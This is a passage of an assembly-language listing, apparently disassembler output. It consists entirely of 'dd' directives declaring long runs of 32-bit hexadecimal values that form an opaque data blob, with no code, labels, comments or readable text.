		dd 0D25000F1h, 4FC486h,	8A7B544Dh, 751B7225h, 0FB003090h
		dd 7F44401Eh, 0B2F5B1h,	0E19B069h, 9E46B13h, 30C7CC00h
		dd 0E9C6A70Fh, 0B6390028h, 0B72D1464h, 5F1E0935h, 0D077CEBCh
		dd 3F42C050h, 1347AB6h,	404C5A06h, 0DCDF1049h, 6567EC51h
		dd 71F0FD28h, 3B57D9ADh, 6F004BD3h, 55B1A3F5h, 0E4004D24h
		dd 8893D89Dh, 0FEDB00Ch, 0DD3390A4h, 35501660h,	0AB2ECF32h
		dd 0E03077A5h, 0CC0FE5h, 90DF78DCh, 38C0BDB1h, 0DEE021Dh
		dd 0C02CE04Fh, 0F5F6B869h, 0F01E63Ah, 1F0B1287h, 5923A0A0h
		dd 0A500855Dh, 0AE7A7E02h, 7F6DAD50h, 0C7830118h, 0EE8003B6h
		dd 3FE03A48h, 0C07F003Dh, 5DB0E9CFh, 0D11C81B9h, 0EA809488h
		dd 1AD80DEFh, 5B7B002Ah, 0CD12974Eh, 2300A5FAh,	69D6F684h
		dd 1C86575h, 0A695FC33h, 61CBC154h, 0F44C30E7h,	7A5CDC7Ah
		dd 0D34E03E6h, 0F05AEA41h, 23F9BE5h, 64D9AC5Bh,	2C416B43h
		dd 64C0FA84h, 0BF007DE1h, 4132DAC5h, 30A7F0h, 13B44A21h
		dd 3DE8E704h, 0D866610Fh, 8FEFA145h, 6BFC8131h,	0AD8A0E25h
		dd 0F6C09B4Dh, 24E9B688h, 9DFB21Fh, 80CC134Bh, 6A43C2B9h
		dd 0FC3507F3h, 6E47FE96h, 6180A309h, 0AF6CBA5Bh, 0A876DA00h
		dd 6F61830h, 8951132Dh,	1DA90034h, 0C7081AC4h, 0AF41D000h
		dd 8794C5E5h, 1F48307Ah, 0D6171220h, 4B005D7Dh,	667F9878h
		dd 26AAEFE4h, 5520F2h, 64BB800Fh, 0B914B7CBh, 15FCDA90h
		dd 0F003F1h, 0A95574F3h, 91FCC4h, 44E521EAh, 0BC6DF018h
		dd 6EE91200h, 673FDD2h,	981B0017h, 49752FB5h, 0E014179h
		dd 44A2A67Ah, 0FC406CC1h, 0AAF37Fh, 0F4BA8403h,	24E87798h
		dd 239EF02h, 60C565A3h,	48DF177Ch, 6F003F55h, 0FBAF6D44h
		dd 8D00B408h, 69EBABDCh, 1CFABBh, 44E10D3Ah, 1E5589A0h
		dd 0BE812807h, 5370B4BAh, 1FD0F93h, 1FB03017h, 7166ED4Eh
		dd 7C5C30CBh, 0E53F03Ch, 63750B82h, 0E8A26D01h,	5423D0h
		dd 100D56B7h, 0B8FA8EA4h, 0BD07ABF2h, 0C0FECCAAh, 0F7ED64F0h
		dd 2A37559h, 0AC792753h, 9280BB46h, 4CB0E05Eh, 5BEF7500h
		dd 0E348C658h, 60344DEBh, 4C9F907Bh, 0C02A46CDh, 0C82100B8h
		dd 0D41595B2h, 50714FCh, 443FEB46h, 98AEDCB0h, 0E8DA39DEh
		dd 9C20CC01h, 34090C7Bh, 2FE2ED9Ch, 6B602BF2h, 0FBF2F810h
		dd 0EC190C9Bh, 2CF46991h, 3041B200h, 0D977AC63h, 0E7540FABh
		dd 0FBC00AEDh, 2C6BE405h, 3D00EBE2h, 0E57DAA71h, 3B20ED4h
		dd 98D168F4h, 36C87846h, 93004FF5h, 8D8333C7h, 1FABCEh
		dd 0D27CDB67h, 54D6A468h, 2FC77F00h, 505CD003h,	0A6320E05h
		dd 0E78038DAh, 2C3EEA7Ch, 1CC63A05h, 8000E428h,	2B195B09h
		dd 0ACF24Fh, 3FFC60FDh,	0DD58A25Eh, 294B2C00h, 401DE4C5h
		dd 0C49A01B6h, 0E3BC4FAAh, 7A77CCF1h, 89800116h, 0FA5F6001h
		dd 34347867h, 0D22004B7h, 0C074F6DDh, 6A8ABDC0h, 76D94605h
		dd 0B887F4DAh, 4F06DD7h, 9E4A24h, 64D32114h, 0B6C3CF10h
		dd 20EFC0A3h, 48DB80B2h, 0BB8ED807h, 6423AA22h,	0EC1EF84Ah
		dd 4DC9073Eh, 6047070Eh, 671B3A0Bh, 450013E8h, 0E020B9D4h
		dd 60846846h, 56BB98B4h, 0C700C239h, 0E29A71FBh, 5A5FA64Bh
		dd 1D6DFCDCh, 58C3C9F2h, 0F02D35D0h, 0E9DA79h, 4629777Bh
		dd 0A0150C72h, 40FAC0B8h, 90CE439Fh, 9EA11Ah, 4C60722Eh
		dd 0E6B0542h, 921D0D00h, 0E4347A61h, 0BCB01391h, 14E440A2h
		dd 0FD2DE1BFh, 0D400F490h, 3F629FA0h, 264B3301h, 0C0C48C5Bh
		dd 0EB8599B6h, 0BAA6AA50h, 472A7101h, 6D8A0D49h, 0ECE61487h
		dd 0DB1B32C0h, 601DB441h, 5601D3E0h, 38511617h,	6F4CD6Bh
		dd 0E490A9h, 0B6C0AA91h, 49B7DDF0h, 80555038h, 60196E12h
		dd 3847A82Eh, 33009ECEh, 4C0BAC02h, 0F0079F9Dh,	0AEDDAF0Dh
		dd 7BBE98E6h, 2D5A3929h, 5BD8C54h, 7EFA35DCh, 0BA6CD08Bh
		dd 0DEFADDEFh, 68139h, 0F5AEB88Eh, 48AB96h, 37F38725h
		dd 0FB5DE6B7h, 948547Dh, 5328019Fh, 3BFEDBBDh, 0EE2F8C41h
		dd 5181B8F4h, 0A1FCA4A7h, 0DA420003h, 0FDDF47D6h, 7D00C031h
		dd 0CCF6EE97h, 28F892B3h, 1987BE0h, 0F06E7495h,	22DC24E7h
		dd 0D117774Ch, 0DC67653Dh, 0DDF1F2D0h, 7FDC5860h, 2A73500h
		dd 40E9E4F5h, 0A4A83C00h, 0A51C174Eh, 0AB1F0385h, 0C90E5FECh
		dd 912CB2F0h, 6DE60500h, 82FD227h, 0D7230081h, 4071BE43h
		dd 0CF00EAB2h, 94AAB411h, 6002F86Ch, 9F23986Ah,	9000E30Bh
		dd 5A0AA819h, 732FA26h,	0D827A522h, 1AF60B4h, 0BE037D25h
		dd 0D7119BE1h, 681CB852h, 15EA005Dh, 108EEF8Ch,	0CB182469h
		dd 0B90A842h, 4B264B32h, 4A8FF150h, 5FDB9FFh, 0AA724E61h
		dd 0ABDC8028h, 9800D437h, 0BC2B13C5h, 1ED136h, 6F7BFA4Bh
		dd 0B7FF7CDFh, 4AECAE00h, 74CDF9E7h, 1B0A003h, 22408907h
		dd 1047C7FCh, 0A3D26540h, 2CF50F53h, 0C7F24199h, 0F45273A0h
		dd 46F124F0h, 5803E624h, 73EC9200h, 0EAC2080h, 69CE525Fh
		dd 91824AC0h, 4748061Eh, 0A71200DCh, 111C392Ah,	8CEC0432h
		dd 0C1E5587Ah, 70EA1970h, 0BB00D494h, 0DF10CFDh, 5832EECEh
		dd 0A03FA4E8h, 0AAB71200h, 55650650h, 2C9F9B12h, 0AA7E440h
		dd 1781176h, 50FAD86h, 316BC8CCh, 22D0F824h, 58A80259h
		dd 8D5D0044h, 0DD612E17h, 1ABE28E1h, 68624C80h,	0FE4F1400h
		dd 1DD2C13Fh, 0A88918CAh
		dd 0A0939Fh, 0E7D91EF6h, 0A9BF6BFCh, 0CA39C100h, 2C2A9311h
		dd 1C090A1h, 50D10A3Fh,	0DC09BD38h, 0DD0AE390h,	0BC5FF3F5h
		dd 0C7E6A800h, 608786F7h, 398D58B7h, 7234D395h,	0EC8120D2h
		dd 0CC705150h, 0F1C03C60h, 7849BB3Eh, 0C47AB00h, 0A0ACD0A9h
		dd 46C8759h, 0A499161h,	3AE99CC1h, 90D57DCh, 0F36B77D4h
		dd 60F2CC07h, 9EF05DB0h, 0D0754D03h, 0F2C481ABh, 948CC02Fh
		dd 0C5F4F9h, 0CC1E1CB5h, 15965DEFh, 995C3E00h, 0FA51FF7Eh
		dd 0FF3735Bh, 0CC040C02h, 34A76ECEh, 2F5760C1h,	0D2501877h
		dd 0B40EA6F8h, 0A0AC30D8h, 533E4944h, 19F5001Eh, 10633D58h
		dd 5E487193h, 528A02B0h, 96BD23Ah, 0B55900C7h, 6C07441Ch
		dd 6101365h, 0A053B6D3h, 0FCEDFA87h, 23A800DEh,	692DAF96h
		dd 0E515AE11h, 29C8E13Ah, 5E83EC36h, 0A0FDF5DCh, 286D1905h
		dd 78E8A8F0h, 538404B9h, 87603F5Fh, 0E0020924h,	0F080DD18h
		dd 69F26A65h, 0F900C6F0h, 0F5C743D4h, 36B595Eh,	0D6D884FCh
		dd 700055D5h, 7EAA74A2h, 0A0645B12h, 0F434F90h,	79244402h
		dd 0D1995AECh, 0B3007DEEh, 492C50C3h, 6899E5h, 0ABDE0EE2h
		dd 26652230h, 0C043F900h, 7131C2D0h, 48DA00AEh,	6C3B6774h
		dd 280099DFh, 0C42D8876h, 0F6FAB22h, 0C013441Fh, 3D7151A0h
		dd 0B2018E32h, 9EEB38EFh, 0D7D7F734h, 68C8CE60h, 5A6E48Ah
		dd 0FCB8FD1h, 0F171C14Fh, 9D944010h, 0AC1D177Dh, 9E80FF5Bh
		dd 59D1AEA1h, 0C30484Dh, 325CDA00h, 4B6F5E06h, 36AAA91Eh
		dd 23C5B11Ch, 9C00DBA7h, 4A5E61Dh, 29B70E58h, 0BB401579h
		dd 99E4866Ah, 0B4C4A80Eh, 0AC9E031Eh, 3F29A843h, 0C630009Ah
		dd 0FEEB6864h, 4AE20C0Ah, 89F2363Dh, 806005E9h,	0DE9F3B14h
		dd 0C708003h, 6FD41103h, 0F8970AE5h, 4B3207h, 52331510h
		dd 5708B830h, 0E792FC00h, 0F01D5FE0h, 8677003Ah, 22C3DC6Bh
		dd 5804A179h, 5AEB0527h, 489BCC0h, 0E3C88065h, 25041B49h
		dd 0C5855DEDh, 4CA359h,	51F58E5Fh, 3975E5DBh, 0F7803BA5h
		dd 88BCC33Ah, 3701F48Ch, 6B3DA377h, 3880B0EFh, 2034BCAh
		dd 57FF6E6h, 130995A0h,	3D550B00h, 8ACF9BC5h, 244C398Dh
		dd 0C3DFC606h, 0D02893Eh, 15E8A782h, 35F320B8h,	39043397h
		dd 730F6FC3h, 82706480h, 9F03002Ah, 0C9EC6DB5h,	42063033h
		dd 0A79BAF8Fh, 1B64802Ch, 801D000Fh, 19BB3806h,	6098F595h
		dd 0D550D400h, 734C4589h, 747326h, 7F2A0262h, 7D9179DFh
		dd 94B98A02h, 79B0421Bh, 2FB40778h, 56A40D9h, 0F801FDA0h
		dd 0C9244AEAh, 0E3C3CE9Dh, 2A6FC86Eh, 7C7E3D5Ah, 0A0B47B00h
		dd 0B3BEA722h, 0D8888B1Eh, 384DF200h, 17FC526h,	9C6FEF2Fh
		dd 0C95BAB7Dh, 0A5973028h, 5406D900h, 0CB39329Eh, 57835h
		dd 0EB671119h, 3C4A3E4Fh, 0C982D500h, 48E9DFD2h, 8C7C14E0h
		dd 4B18A8DAh, 2116B97Ah, 6833C801h, 7C4C2019h, 0D001068h
		dd 24F86D2Eh, 7724AADFh, 0C50052C8h, 0D9E1E2F3h, 576B075Dh
		dd 679AC174h, 0B38EA2h,	7CA5D7F4h, 4100C486h, 85720428h
		dd 9097CD78h, 0BE370BD3h, 30A01412h, 0EC068879h, 49B79F00h
		dd 0A6C64ED8h, 40D41CD6h, 0B104C2C7h, 20686497h, 1A00D901h
		dd 8A83ABBh, 1CFE6544h,	0D55F6Fh, 54B505CBh, 0A4489EC6h
		dd 5A401168h, 408D011Eh, 29FA78BEh, 6402B610h, 0C48E3013h
		dd 0B2C840AAh, 18217CB0h, 0F825A62Ch, 1C005F32h, 0C6B50714h
		dd 235E8DDh, 55F9CD91h,	0B2C0BF13h, 0C900E2A8h,	6A54F3B2h
		dd 17780Ah, 9F49E5DFh, 784F198h, 269A364Ch, 0C21750C1h
		dd 44AC9030h, 0C59F00D5h, 88072915h, 0D000CF8Ah, 81016F47h
		dd 784AC7C6h, 55AF0026h, 9BCEE24Dh, 1B12F9FBh, 170091EDh
		dd 7A9771B0h, 9AB88Ch, 764A33F6h, 0F0B29353h, 81FC6200h
		dd 0C7450A55h, 7AAD07A6h, 0C004C9CCh, 3F41DCAFh, 5B090BEAh
		dd 35296B6h, 0B825642Bh, 29C7C9Dh, 0E74B0CD1h, 8440B8D3h
		dd 2100AD7Bh, 86045E8Eh, 0B21DA3h, 0CFBD3B5Ch, 0FA4165C5h
		dd 15061401h, 0AF27DA5Bh, 3AF8A531h, 0F9F4037Ch, 0FCFEDBD2h
		dd 8EB61C8h, 802AD507h,	0CBA0A4F0h, 5DB7BE8Dh, 11340A7h
		dd 4AD107E8h, 0B059F06Eh, 54BC917Ch, 3C4B0056h,	3146419Ah
		dd 0EB4D8DEAh, 84967F20h, 0ADD28C40h, 0EC1FE4D0h, 4EAC136Ch
		dd 0C22800B5h, 66D9BB85h, 2ED26000h, 6593CB55h,	0B3EA0099h
		dd 0B5A27BC9h, 1C58E886h, 59780097h, 2D19E4F5h,	3F4098B9h
		dd 9E18B373h, 963811F2h, 44037A26h, 32BDA300h, 5E30C6h
		dd 958EC4BBh, 0B5E1488Ah, 0E0268900h, 0F34FD952h, 29A60022h
		dd 306E8C19h, 6C02166Ah, 5646A4CAh, 9A604036h, 0AF900A9h
		dd 7BFE40F4h, 4B00F557h, 0BB6F4171h, 47C0A3h, 7B9EA93h
		dd 6560D886h, 550EEEECh, 2334822h, 600D3D24h, 2392CEh
		dd 0BF9AE0C5h, 0A23B2AB8h, 8BF23000h, 60297375h, 5E8312D8h
		dd 0A1A801A9h, 30567028h, 7E1602C8h, 1C807109h,	7426C2Ah
		dd 6B055A76h, 7D0C6058h, 7C00D8C9h, 0A64A5BDAh,	0B00939AFh
		dd 0DDCB005Ch, 0CA4669E4h, 331E0127h, 0B95F2353h, 222483C2h
		dd 55FC4150h, 0AC3174E1h, 12F16EE4h, 80D34B5Fh,	9BA87A4Ch
		dd 90283600h, 1AB42508h, 0D3F0FFh, 3765014Ah, 3D59F780h
		dd 9C4DBF28h, 4BDD7704h, 0D8C356B9h, 9DC2C7AEh,	6620482Ch
		dd 0B2941183h, 0C39508D6h, 793A07DCh, 0D7BE0D1h, 8012D825h
		dd 0C401BDD3h, 965254CFh, 0D533DCh, 0D2872611h,	0DC7595FFh
		dd 0D6A89960h, 0FE9F37h, 0F183FA85h, 0F0B1551Ah, 0C0522307h
		dd 44F076F3h, 0B0ADE7h,	0EB43C3AFh, 78040ADCh, 2C0065F4h
		dd 3295FB1Eh, 0C3DBDDh,	0F340171Dh, 0B281F7Eh, 52607A03h
		dd 0E856D2AEh, 0C4C3B8h, 75D42CFCh, 85C0DA8Ah, 8111500h
		dd 0F1092970h, 0D85761B0h, 0D480B9F0h, 0BF001BBEh, 6EE1E6DAh
		dd 4F8DA033h, 0B2D40082h, 0BA20D3DDh, 0D125F400h, 83E267F0h
		dd 57AE3842h, 32EC007Dh, 0E1DF95B4h, 4350225Eh,	1A208BE8h
		dd 0D0CD07CCh, 0A074127Ch, 0F6AEE387h, 5ADF3409h, 50EC47h
		dd 3FD719B4h, 436884D5h, 0DBEF521Dh, 28D44280h,	8EBB3Dh
		dd 0F855642Fh, 2643769Eh, 6D381A1Eh, 8765D789h,	0B7705B33h
		dd 0C0E18A0Ch, 1FEC9288h, 73EC0599h, 1369C300h,	7F53D914h
		dd 8C8E07DBh, 53202379h, 62F8E8BFh, 0DA00F4EDh,	6139C36Bh
		dd 0E6B316B6h, 93970365h, 92AF0188h, 0D8E4AAE0h, 78DFBB00h
		dd 8FC0F64Eh, 0D4BF0051h, 0EC6EFB5Fh, 9B1F8A5Ah, 0DE6F37A8h
		dd 47C8006Eh, 1578B9A2h, 3E201400h, 934A4F7Fh, 59327001h
		dd 0F000D040h, 8710C3CCh, 4C2CA4AFh, 2400CC4Fh,	0C0F3D25Fh
		dd 0E8D90063h, 9F9DAAD0h, 0E090C7BCh, 518C953Bh, 3C15E884h
		dd 0FA2FA03h, 0D8E2AC2Eh, 0E3DB8421h, 0ECF8619Eh, 70238190h
		dd 0F721D33Ch, 966BAFA0h, 110818D0h, 0C03CA213h, 0C4BD6800h
		dd 8B29CE42h, 0A0DEA900h, 0AB505F97h, 26FD0E32h, 9E00E4EDh
		dd 5A348DB1h, 67716407h, 0DDC74CBBh, 8A013C4Ah,	0AB24A8D4h
		dd 18DC108Dh, 0A178D334h, 463F6F7Ah, 2D4900D2h,	0FE47FFBBh
		dd 8071F85Ch, 9E30E4A8h, 548E4110h, 25141DD1h, 5B13055Ch
		dd 7C14006Ch, 32B6C553h, 35729B00h, 0BBC80920h,	39B30777h
		dd 0A9A859D0h, 0DA58F458h, 639000FFh, 0E0C9EB55h, 86810F3Bh
		dd 8205216h, 445D8591h,	0F3E27300h, 477EE677h, 0D8F10187h
		dd 92445ADh, 0F2F520D6h, 0F090B374h, 1A021E00h,	0D837F414h
		dd 6E5101E0h, 3D90D493h
		dd 3A1EE050h, 7596ED00h, 4A451D33h, 8A7C006Ch, 0F55B09B4h
		dd 0D2003F59h, 2FE522E3h, 689C2Eh, 19D32B99h, 324C6031h
		dd 0BE35AE1Eh, 0BB80640h, 5CE99D0Ch, 6F05C227h,	81DCDA1Eh
		dd 0D398D906h, 52F40F8h, 7C84C4A8h, 7FA739h, 0B8FA08EEh
		dd 14564E49h, 0F3619DFBh, 5F7EB600h, 1D5C0BE3h,	0F103190Eh
		dd 4DFDA2E7h, 0EDC08112h, 5185B3A3h, 91CCDDBBh,	522207BCh
		dd 70C02ED0h, 0F200610Dh, 0F35DCF8Eh, 0DFD4D9DBh, 103EA230h
		dd 0FFED8073h, 0A68429EBh, 0FA8D07BAh, 365E267Ch, 0A10029E3h
		dd 5469AB68h, 3E8213B5h, 2E0E4F99h, 0ECEFD22Fh,	812905E0h
		dd 91065794h, 0A95AED61h, 0E4F0A1h, 8DD63D06h, 881F5B0Ah
		dd 0E032493Ah, 801B56E0h, 28150067h, 0D02FA682h, 4507596Fh
		dd 1A660BACh, 16DFE09Fh, 3EF23E2Ch, 0B701AB26h,	25CA72E7h
		dd 9FADCC45h, 60005A7Bh, 3F87E9EBh, 71FF7629h, 0FB0203C8h
		dd 0EEF740D7h, 0CA64BED0h, 73B0E100h, 0F25D6A2Ch, 6911E5Ah
		dd 0FC37001Bh, 0A042D783h, 1619000h, 0ADDBDAD8h, 0F8F600C9h
		dd 0D576EDEBh, 630043E1h, 0E561709Fh, 1DB4A958h, 808BC13Ch
		dd 3393DA76h, 0AD004179h, 0B8E126EDh, 1E44EA9Ch, 62313Ch
		dd 116EB96Ah, 0F40659D1h, 38FF8158h, 0DF0487C8h, 0AB374702h
		dd 2F581DEBh, 0B8A10026h, 7394E15Ah, 0F400497Dh, 3B094CC8h
		dd 333744h, 593EBE40h, 0B005980Bh, 1DAF5E00h, 4C4503B6h
		dd 1C9C0160h, 4018BD2Fh, 0C428903Fh, 251A382h, 9021AC04h
		dd 7B01142h, 90AB3B11h,	8984B851h, 427C48E4h, 0A4225461h
		dd 0EB8E229Dh, 2308E822h, 2911FE88h, 0A0289F70h, 14545028h
		dd 0FCF844F9h, 0EE952284h, 2A114042h, 84821F9h,	0C4BDC8ECh
		dd 58E70071h, 9121C78Fh, 1C000F37h, 0A34F61CDh,	8D9B03h
		dd 0EEE94EBDh, 0C4946A49h, 35582F00h, 8293BB02h, 60C00FBFh
		dd 0F6C0594Fh, 37DF5528h, 3D67EC00h, 0FE89EFBh,	2B0D0093h
		dd 206CE30h, 0FF1C49A7h, 0EEC0297Eh, 0C8CB5684h, 528200ECh
		dd 415F954Ch, 57001B3Ah, 6775C04Dh, 0AC36D8h, 0C70E31A5h
		dd 73A8BF20h, 0C23B460Eh, 0BAE7406Dh, 0FCB35A6h, 7765EC62h
		dd 9475C07Ch, 0B0DF9C8h, 2867E200h, 559717C2h, 9AD305D9h
		dd 0C01151E8h, 4CF4C8FBh, 1D16CDFAh, 7C0099FFh,	3D0FEDC7h
		dd 2B4901AAh, 74C332B2h, 0AB30204Eh, 0AE8BE00h,	3DD308CFh
		dd 0B7290079h, 0BCF495ADh, 0A31E1368h, 0ED6E261Bh, 0A0A8821Bh
		dd 150B0C5h, 4A875B76h,	0D45C941Fh, 3D1F2D0Bh, 0B492216Ah
		dd 0E5487000h, 28825169h, 3BC1397h, 0D3744FCEh,	0FC90B279h
		dd 56005A61h, 27639A8Ah, 7E75D888h, 0AD681EABh,	0E71641ACh
		dd 0CC44DA51h, 0A600B601h, 9DF49B73h, 0D8650Eh,	223C1958h
		dd 0D5DDDB93h, 8A38CC00h, 0A1270C56h, 3F07473h,	97A76A9Bh
		dd 0BAD8F52Eh, 0AF505DF6h, 0E61F4396h, 4804968h, 8BE245FAh
		dd 0F4330057h, 983130D0h, 0BA000DA9h, 670F2436h, 0DEAF6Bh
		dd 9768FCD5h, 63A94227h, 6900C87Ch, 58A72E84h, 2E6B8FBh
		dd 0B5199E30h, 0B4A0443Ch, 200779CCh, 2A368E00h, 0DF30056Eh
		dd 15D76A2h, 0A41D70AEh, 0C4D3A383h, 201C250Bh,	0C400511Bh
		dd 96E785DEh, 0F97A001Ch, 0B027EFD4h, 1490C25Dh, 0CA069E00h
		dd 185468E5h, 129C00D7h, 0E8879A03h, 91FA7940h,	80CAF438h
		dd 0E9C4B3A0h, 3E3AF16Dh, 0E80E351h, 73C5F60h, 0DD0089A4h
		dd 8B8A64FDh, 0E88FA225h, 2E40750h, 9014802Bh, 3CA611FEh
		dd 0BD00CBF0h, 8D086EE7h, 716884Eh, 8FF51D45h, 0DD559036h
		dd 400F2607h, 80B343A3h, 3998CACCh, 0A25F0E34h,	0C301A408h
		dd 30E8A71Ah, 40009488h, 5DECFED1h, 1F909C9Fh, 40098D4Ch
		dd 0BF04C738h, 0D30134B9h, 9836731Dh, 0B4F4EE40h, 11A8249Ah
		dd 56BD01B0h, 80695347h, 0AE2E8020h, 0EE1439Ch,	10B0AB30h
		dd 60003A89h, 0FF314121h, 91263EAh, 0A20794B4h,	0E220F114h
		dd 606E5Ah, 16BBF0CFh, 0B4AC5C47h, 57656603h, 0D01F8BD8h
		dd 3284B5h, 519D253Ah, 3FCC507Dh, 17EC6900h, 0D86228C1h
		dd 30A0027Bh, 442A1D22h, 8341F861h, 0D1969CFAh,	0B95FD380h
		dd 53E4313Eh, 0DD6B00F3h, 95F6BE70h, 24007AB9h,	62AFDF76h
		dd 76E3AB6Dh, 0B0703D52h, 0FD37C800h, 0CDFCC538h, 0ED005098h
		dd 9D3B8F6Bh, 1764EEFh,	0C78CE1DEh, 0F858ADF7h,	26E84FBDh
		dd 0CCC1931Fh, 0A7300481h, 0C20F669h, 8619C37Fh, 7EA059FAh
		dd 2B008CC8h, 0E46FE9F7h, 0E03F65h, 0BF7836B6h,	0CF269D39h
		dd 0F0F49300h, 8B911ADBh, 10A900A6h, 4D851913h,	74903B97h
		dd 0FBD66209h, 0C90103BFh, 5D19D0C3h, 0F0850060h, 7A5937E3h
		dd 0FCED87CBh, 8013F2FFh, 5002FD15h, 47DD5Eh, 0F090DFCh
		dd 2170B100h, 77C441F6h, 0D1510C8Eh, 11A00740h,	0BA001474h
		dd 54843992h, 1AE058Fh,	9B0CBB6Bh, 30384E70h, 6F79E14Ah
		dd 0FE71760Fh, 0E597608Ah, 7830DA5h, 3EDD6A8Bh,	81D8706Bh
		dd 8839D408h, 2FB48363h, 269A75C3h, 0D098C191h,	8309C945h
		dd 805F8DD4h, 0DD1B3405h, 98920Dh, 0A246B54h, 0DF402078h
		dd 4375D2Eh, 0AADCB180h, 797AE57h, 2F5FBBB5h, 20526615h
		dd 38E97E2Bh, 65939F40h, 0F14126A7h, 5422006Ch,	63707E40h
		dd 2C26A830h, 47D671h, 8B3A8A1Fh, 0BF2923C4h, 1665F13Ah
		dd 630051A2h, 8ABC423Ch, 22B0045Bh, 0C023AB3Ah,	303E0603h
		dd 80BDB938h, 0E13F6B72h, 767470F4h, 0B87900B3h, 8525A59h
		dd 0D7F87FF3h, 1A001190h, 73D42695h, 362FEAh, 92A367A7h
		dd 4D6102E9h, 7A75CD00h, 0E6B37FEEh, 30374C10h,	0F696B100h
		dd 0BE8BF242h, 3911BB07h, 0DE5084C4h, 28310DC2h, 7BC4E26Bh
		dd 0BF9600F3h, 978E26CFh, 0C700FD77h, 735AA64h,	0FEF598BAh
		dd 8BAB007Bh, 8DC7378h,	18005BB9h, 5F9A874Ch, 10EC1DEh
		dd 3C741C92h, 309964F9h, 151FE6A8h, 58147542h, 630079B8h
		dd 92407D77h, 0F7E818h,	0B86876C2h, 0CCC083FDh,	0DCD80400h
		dd 0F6A2065Bh, 0A76B14E6h, 5E3EB068h, 0EB007548h, 616C3E9h
		dd 4B306EB7h, 2612383Bh, 2CECF45Dh, 3ED837AEh, 695EA900h
		dd 0CA39626Ah, 0AC64CB01h, 2A9168BBh, 9B775E4h,	6D59A3BDh
		dd 859E9400h, 2B0E25B0h, 0A0A095F8h, 54DF6CB3h,	12280001h
		dd 7326BD06h, 3600D916h, 9A7BD1D3h, 0DEA32Dh, 0ED9F3D21h
		dd 495267D6h, 135EDD00h, 457922DBh, 748987Ch, 3A053181h
		dd 0F3212002h, 1E02A02Fh, 0E4C74830h, 6C460FAh,	7C823BBBh
		dd 65FD0580h, 490AB076h, 0C3B12E00h, 0A734673Dh, 1D3C0742h
		dd 50DB6210h, 3A725D18h, 0ED0D1714h, 9C7B07E8h,	5E90F729h
		dd 0FF8F61h, 0B24F9F94h, 0A731DE6Dh, 0F1002379h, 46E36253h
		dd 4821B014h, 6E0038C1h, 0AE679702h, 0A5136838h, 800AA45Fh
		dd 803DE83Ah, 48A1DA2Dh, 1D0B0F2h, 707D0197h, 0CA6A5B79h
		dd 0C8FECA40h, 0A4903EEEh, 93F72D39h, 1000F6B3h, 4AD2B7A0h
		dd 3B49833h, 2EDBA513h,	21001BE0h, 0A2D1BEA8h, 0CBB30Ch
		dd 0EBDB658h, 302F6E6Ah, 801BB200h, 0F852DB50h,	0A2AB0B65h
		dd 0CC059DB8h, 8BF81C21h, 72873668h, 93F420BCh,	80E97ACCh
		dd 37C57510h, 46E66Ah, 0FD4AD32h, 59477B11h, 0E131CA00h
		dd 0E60115DAh, 560B00F3h, 6E1026E5h, 0BC2EC46Ah, 0B0004C71h
		dd 0FEBDD105h, 34A8002Ch, 7C41BE6Ch, 3900D4D3h,	0FAC5913Ah
		dd 18FDA920h, 0E82AAB07h, 0E64C15EEh, 41560235h, 0A16F1327h
		dd 3B9F4484h, 0D1B6E10h
		dd 52D6D700h, 0ABDEE0B5h, 69580332h, 24CD2D19h,	6F8167D8h
		dd 0A600E971h, 343B89C9h, 18E201E3h, 0E8E473BDh, 0AA1CB942h
		dd 81FCFAFBh, 0D146330Eh, 0F8C46655h, 79F0096h,	26B3ED0Fh
		dd 0F01D176Eh, 1641B2B4h, 0CD82479Eh, 74465330h, 6268C038h
		dd 67AE6B26h, 48184000h, 6913B0D5h, 4ABD000Dh, 0CF531AB1h
		dd 63250694h, 3BC8804Ch, 1F42E9DCh, 0C0219ED6h,	5C60D5BFh
		dd 0A098AC72h, 5762C000h, 0A6A31234h, 370FE05h,	943084EAh
		dd 9CF6B625h, 6529F600h, 4D21D81Ch, 7B40903Fh, 994AEEh
		dd 328D1584h, 0C70060A0h, 77562026h, 0EF0AD3E1h, 498BCFFCh
		dd 2D001CAEh, 9AC95B06h, 0F72CDD80h, 550074D2h,	0D0E7D352h
		dd 0FAD61FEAh, 9717C0E3h, 0CC0289F5h, 2D073Ah, 8C04EB4Dh
		dd 188E45h, 9C7D5D58h, 9E2842CBh, 3AC9AC06h, 0BF8EA53h
		dd 38930BB4h, 59D84400h, 4C2C8F83h, 0DF1DA4BEh,	378580BDh
		dd 0D2F61898h, 191C2C48h, 6BBF00F8h, 0DCEB2C43h, 1F1ED3FCh
		dd 7F09A6F2h, 2E5400F9h, 7221E4h, 0ADA2A780h, 0A368D7F4h
		dd 420202E8h, 5C9B0C6h,	98041DDh, 77A60h, 67369235h, 413C9FF8h
		dd 8EE93A00h, 9BAC21Ch,	0ED110B56h, 1FE374h, 12303844h
		dd 585DB64Eh, 0E7110380h, 0C8F352F7h, 1D1E9101h, 0C01F1319h
		dd 6425CDA1h, 73006E79h, 26D9745Fh, 0DE2BA2h, 782890F8h
		dd 0C2892FA0h, 241FAE4Ah, 0F388A24Eh, 0DD0D2000h, 1EA4743Dh
		dd 80A0B35Bh, 0F1180407h, 0B6011A6Fh, 8B67D73Bh, 5C40D9Ch
		dd 78EB00D2h, 604A585Fh, 7F16C54Fh, 28006271h, 3085042Bh
		dd 9A8B05Ch, 75175202h,	0DD4B6F80h, 717B4307h, 6DCDE800h
		dd 6410858Fh, 75F300C3h, 443A0665h, 0DF077723h,	62287D93h
		dd 0D60C0529h, 0D1CCC507h, 924C7C0h, 81E000CFh,	3229F7FCh
		dd 7700BF72h, 6175AD7Eh, 43CA0Ah, 7F5E18A1h, 0B5205DD6h
		dd 0DB22FE0Eh, 7BC1A07Ah, 59B349h, 918AD04Ah, 79FCA331h
		dd 1260AF1Ch, 0E53C9A40h, 61698Fh, 0F5AAB49Fh, 280A118Bh
		dd 467D3A00h, 14C12FDh,	9FC00054h, 58159D77h, 5700E719h
		dd 5B1FC7Dh, 7EDAA6Bh, 2FCCB3E2h, 87323126h, 0D8B860C4h
		dd 0D0034F76h, 7BA78AF8h, 285FE0A0h, 84424836h,	5400153Dh
		dd 2CF56AF3h, 1E58B378h, 6700792Ch, 0B4340FAFh,	0B4ABAh
		dd 6558165Eh, 0A6194BC3h, 57003FE4h, 23F325E2h,	388AEC1Dh
		dd 0C82690F5h, 4F5100ACh, 0C60FE932h, 0BC543907h, 1D0076Ch
		dd 53F0A9h, 58B8A37Bh, 6A735CE5h, 863EEF00h, 0A0057AEDh
